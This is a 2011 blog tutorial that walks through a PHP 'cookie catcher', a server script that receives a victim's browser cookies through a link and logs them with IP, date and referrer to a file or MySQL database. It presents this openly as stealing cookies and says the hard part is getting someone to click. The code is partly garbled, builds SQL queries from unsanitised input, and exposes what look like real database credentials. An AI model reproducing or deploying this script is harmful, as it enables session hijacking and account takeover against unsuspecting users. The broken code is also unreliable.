Saturday, September 10, 2011

Cookie Catcher

?
This article will teach you how to make a cookie catcher.

What is a cookie?

A cookie is a special thing used store information on a web browser such as user logins, passwords, etc.

What is a cookie catcher?

A cookie catcher is a php script which captures a browser's cookies.

Is making a cookie catcher hard?

Not at all. The hard part is getting someone to click on a link which contains the cookie catcher.

Creating The Cookie Catcher:

Now we are going to get down to the cookie catcher.

First you need a webserver that supports php.

Now that you have that we can begin.

Here is the cookie catcher:

Code

$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'


');
fclose($fp);
header (\"javascript:history.back()\");
?>





Now let's break that piece of code down:

Code





This tells the server that this piece of code up to the

Code

?>




is all php code.

Code

$cookie = $_GET['cookie'];




This gets the cookie from the web browser using php's GET statement.

Code

$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);
$referer=$_SERVER['HTTP_REFERER'];




REMOTE_ADDR is the user's IP Address.
date is the date the cookie was taken.
HTTP_REFERER is the site the user came from.

Code

$fp = fopen('cookies.html' 'a');
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’


’);
fclose($fp);




This piece of code does a couple of things. First is opens a file called cookies.html on the server. Then it writes the cookie info to the file (Cookie it's self, date, and website the person came from). After that it adds three returns (
). Next it closes the file cookies.html.

Code

header (\"javascript:history.back()\");




This last piece of code sends the user back to the last page they were on before they clicked on the link.

Code

?>




This, like stated earlier, ends the php script.

There it is! You've made your very own cookie catcher for stealing cookies from people's browsers!

Example Script:[/b}

An example of this script in action is:

http://www.bluechill.co.cc/cookietest.php

http://www.bluechill.co.cc/cookies.php (view the cookies you've had from bluechill.co.cc in the last day.

It only shows cookies from your IP.


Have fun with your new found cookie catcher!

[b]Extras:

Here is the source code for those pages (including a mysql database ;) )

Cookietest.php:

Code

setcookie(\"Test\",\"Test Cookie For Cookie Catcher\",time()+3600);
echo \"Test Cookie: \";
echo $_COOKIE[\"Test\"];
echo \"
\";
?>

document.write(\"
Code

$ip = $_SERVER['REMOTE_ADDR'];
$con = mysql_connect(\"localhost\", \"USERNAME\", \"PASSWORD\");
$db = mysql_select_db(\"TABLENAME\");
$result = mysql_query(\"SELECT * FROM cookies WHERE IP = '$ip'\");
$i = 0;
while($row = mysql_fetch_array($result))
{
   echo \"Cookie \" . $i . \"

\";
   echo \"Cookies: \" . $row['Cookies'] . \"
Site: \" . $row['Site'] . \"
Date: \" . $row['Date'] . \"
Your IP: \" . $row['IP'] . \"

\";
   echo \"
\";
   $i++;
}
mysql_close($con);
?>





Cookiecatcher:
Code

$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(\"Y-m-d\");
$referer=$_SERVER['HTTP_REFERER'];
mysql_connect(\"localhost\", \"USERNAME\", \"PASSWORD\");
mysql_select_db(\"TABLENAME\");
$sql_query = mysql_query(\"INSERT INTO cookies (Cookies,Site,Date,IP) VALUES ('$cookie','$referer','$date','$ip')\");
echo \"Cookie Entered Successfully\";
?>





Code for resetting database:
Code

   $con = mysql_connect(\"localhost\", \"bluechil_admin\", \"TonyHawk\");
   $db = mysql_select_db(\"bluechil_cookies\");
   $query = mysql_query(\"TRUNCATE TABLE cookies\");
   mysql_close($con);
   echo \"Table Reset!\";
?>





Have fun! :)

Keep Rocking, Keep Hacking

No comments:

Post a Comment